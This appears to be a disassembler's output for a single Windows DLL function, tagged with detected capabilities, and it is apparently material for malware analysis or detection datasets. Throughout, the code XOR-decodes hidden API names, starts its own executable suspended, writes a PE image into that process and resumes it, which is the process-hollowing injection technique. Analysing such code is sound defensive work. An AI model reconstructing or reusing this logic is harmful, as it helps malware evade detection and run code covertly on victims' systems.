Function at 0x180001270
Capabilities:
Encode data using xor
Link many functions at runtime
Resume thread

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x4a8]
sub rsp, 0x570
movsxd r15, dword [rcx + 0x3c]
xorps xmm1, xmm1
mov edi, dword [0x18001a018]
xor r12d, r12d
movaps xmmword [rax - 0x48], xmm6
xorps xmm0, xmm0
movaps xmmword [rax - 0x58], xmm7
add r15, rcx
movaps xmmword [rax - 0x68], xmm8
mov rsi, rcx
xor eax, eax
lea r14d, [r12 + 1]
mov qword [rbp - 0x60], rax
mov r8d, r12d
mov qword [rbp + 0x30], rax
lea r13d, [r12 + 0x1f]
mov eax, dword [0x180017910]
mov dword [rsp + 0x75], eax
movzx eax, byte [0x180017914]
mov byte [rsp + 0x79], al
movups xmmword [rbp - 0x70], xmm0
movsd xmm0, qword [str.ZWAZPZ]
movsd qword [rsp + 0x6d], xmm0
movups xmmword [rbp - 0x30], xmm1
movups xmmword [rbp - 0x20], xmm1
movups xmmword [rbp - 0x10], xmm1
movups xmmword [rbp], xmm1
movups xmmword [rbp + 0x10], xmm1
movups xmmword [rbp + 0x20], xmm1
cmp edi, 2
jl 0x180001417
movdqa xmm2, xmmword [0x180017920]
mov r8d, 8
movdqa xmm4, xmmword [0x180017960]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x180017930]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, r14d
movd xmm5, r13d
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180017940]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [str.ZWAZPZ]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x180017950]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x180017970]
xorps xmm2, xmm0
punpckldq xmm1, xmm3
movd dword [rsp + 0x6d], xmm2
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180017940]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rsp + 0x71]
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180017950]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x180017970]
xorps xmm2, xmm0
movd dword [rsp + 0x71], xmm2
movsxd rax, r8d
lea r9, [rsp + 0x6d]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x180001430
lea rcx, [rsp + 0x6d]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp byte [0x1800178f1], r12b
mov rbx, rax
movsd xmm0, qword [str._FWXY]
movzx ecx, word [0x1800178f0]
movsd qword [rsp + 0x50], xmm0
mov word [rsp + 0x58], cx
mov qword [rbp + 0x4b0], rax
je 0x1800014ca
xor byte [rsp + 0x51], 0x32
xor byte [rsp + 0x52], 0x33
xor byte [rsp + 0x53], 0x34
xor byte [rsp + 0x54], 0x35
xor byte [rsp + 0x55], 0x36
xor byte [rsp + 0x56], 0x37
xor byte [rsp + 0x57], 0x38
xor byte [rsp + 0x58], 0x39
xor byte [rsp + 0x59], 0x3a
mov byte [rsp + 0x50], 0x6e
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rbp + 0x4b8], rax
test rbx, rbx
je 0x180001d8b
test rax, rax
je 0x180001d8b
mov ecx, dword [0x180017900]
mov r8d, r12d
movsd xmm0, qword [str.r_VUASgJVYON]
movzx eax, byte [0x180017906]
mov dword [rbp - 0x7e], ecx
movzx ecx, word [0x180017904]
mov word [rbp - 0x7a], cx
movsd qword [rsp + 0x7a], xmm0
mov byte [rbp - 0x78], al
cmp edi, 2
jl 0x18000162e
movdqa xmm2, xmmword [0x180017920]
mov r8d, 8
movdqa xmm4, xmmword [0x180017960]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x180017930]
movdqa xmm0, xmm2
mov eax, dword [0x180017970]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, r14d
movd xmm5, r13d
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180017940]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x180017950]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.r_VUASgJVYON]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rsp + 0x7a], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180017940]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180017950]
movd xmm1, dword [rsp + 0x7e]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x7e], xmm2
movsxd rax, r8d
lea r9, [rsp + 0x7a]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x180001640
lea rdx, [rsp + 0x7a]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
movzx ecx, word [0x1800178b8]
mov r13, rax
mov word [rsp + 0x6a], cx
mov r8d, r12d
movzx ecx, byte [0x1800178ba]
mov byte [rsp + 0x6c], cl
movups xmm0, xmmword [str.vWGyZRBTRPXp__]
movups xmmword [rsp + 0x5a], xmm0
cmp edi, 2
jl 0x180001829
movdqa xmm0, xmmword [0x180017970]
lea rcx, [rsp + 0x5e]
movdqa xmm5, xmmword [0x180017920]
mov eax, 0x1f
movdqa xmm4, xmmword [0x180017960]
movdqa xmm7, xmmword [0x180017940]
movdqa xmmword [rbp - 0x40], xmm0
mov edx, dword [rbp - 0x40]
movd xmm8, eax
movd xmm6, r14d
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x180017950]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180017950]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800016f0
cmp r8d, 0x13
jl 0x180001829
lea rdx, [rsp + 0x5a]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x1800178c8]
mov r14, rax
mov dword [rsp + 0x62], ecx
movzx ecx, word [0x1800178cc]
mov word [rsp + 0x66], cx
movzx ecx, byte [0x1800178ce]
mov byte [rsp + 0x68], cl
jmp 0x1800018a2
movsxd rax, r8d
lea r9, [rsp + 0x5a]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x180001840
lea rdx, [rsp + 0x5a]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
mov eax, dword [0x1800178c8]
mov dword [rsp + 0x62], eax
movzx eax, word [0x1800178cc]
mov word [rsp + 0x66], ax
movzx eax, byte [0x1800178ce]
mov byte [rsp + 0x68], al
movsd xmm0, qword [str.g_A__W_yUVT_xF_]
mov r8d, r12d
movsd qword [rsp + 0x5a], xmm0
cmp edi, 2
jl 0x1800019cc
movdqa xmm2, xmmword [0x180017920]
mov eax, 1
movdqa xmm4, xmmword [0x180017960]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x180017930]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movd xmm5, eax
mov eax, dword [0x180017970]
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180017940]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x180017950]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.g_A__W_yUVT_xF_]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rsp + 0x5a], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180017940]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180017950]
movd xmm1, dword [rsp + 0x5e]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x5e], xmm2
movsxd rax, r8d
lea r9, [rsp + 0x5a]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x1800019e0
lea rdx, [rsp + 0x5a]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
movzx ecx, word [0x1800178e0]
mov r12, rax
movups xmm0, xmmword [str.f_Z_PfEWZ_HOp_R_3_C]
mov word [rbp - 0x48], cx
xor eax, eax
movzx ecx, byte [0x1800178e2]
mov byte [rbp - 0x46], cl
mov ecx, eax
movups xmmword [rbp - 0x58], xmm0
cmp edi, 2
jl 0x180001b94
movdqa xmm0, xmmword [0x180017970]
lea rdx, [rbp - 0x54]
movdqa xmm5, xmmword [0x180017920]
mov eax, 1
movdqa xmm4, xmmword [0x180017960]
xor edi, edi
movdqa xmm7, xmmword [0x180017940]
movdqa xmmword [rbp - 0x40], xmm0
mov r8d, dword [rbp - 0x40]
movd xmm6, eax
mov eax, 0x1f
movd xmm8, eax
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x180017950]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180017950]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x10
jl 0x180001a90
cmp ecx, 0x13
jge 0x180001bcc
jmp 0x180001b96
xor edi, edi
movsxd rax, ecx
lea r8, [rbp - 0x58]
add r8, rax
mov eax, 0x94f2095
lea r8, [r8 + 1]
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x37
movzx eax, cl
inc ecx
sub al, dl
add al, 0x31
xor byte [r8 - 1], al
cmp ecx, 0x13
jl 0x180001ba0
lea rdx, [rbp - 0x58]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test r13, r13
je 0x180001d75
test r14, r14
je 0x180001d75
test r12, r12
je 0x180001d75
test rax, rax
je 0x180001d75
mov r8d, 0x104
lea rdx, [rbp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rbp - 0x70]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rcx, [rbp + 0x40]
lea rax, [rbp - 0x30]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor edx, edx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], edi
call r13
test eax, eax
je 0x180001d75
mov edx, 8
xor ecx, ecx
mov r8d, 0x1000
lea r9d, [rdx - 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
mov r14, rax
mov dword [rax + 0x30], 0x10000b
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x180001d75
mov r8d, dword [r15 + 0x50]
mov r9d, 0x3000
mov rdx, qword [r15 + 0x30]
mov rcx, qword [rbp - 0x70]
mov dword [rsp + 0x20], 0x40
call r12
mov r9d, dword [r15 + 0x54]
mov r8, rsi
mov rcx, qword [rbp - 0x70]
mov rdx, rax
mov r12, rax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor ecx, ecx
mov edi, ecx
cmp cx, word [r15 + 6]
jae 0x180001d44
mov ebx, ecx
nop word [rax + rax]
movsxd rax, dword [rsi + 0x3c]
add rax, rbx
mov qword [rsp + 0x20], rcx
mov rcx, qword [rbp - 0x70]
mov r8d, dword [rax + rsi + 0x11c]
mov edx, dword [rax + rsi + 0x114]
add r8, rsi
mov r9d, dword [rax + rsi + 0x118]
add rdx, r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, qword [r14 + 0x88]
lea r8, [r15 + 0x30]
mov rcx, qword [rbp - 0x70]
xor eax, eax
add rdx, 0x10
mov qword [rsp + 0x20], rax
lea r9d, [rax + 8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [r15 + 6]
inc rdi
add rbx, 0x28
mov ecx, 0
cmp rdi, rax
jb 0x180001cd0
mov rbx, qword [rbp + 0x4b0]
mov eax, dword [r15 + 0x28]
mov rdx, r14
add rax, r12
mov qword [r14 + 0x80], rax
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rbp - 0x70]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rbp + 0x4b8]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
lea r11, [rsp + 0x570]
mov rbx, qword [r11 + 0x50]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret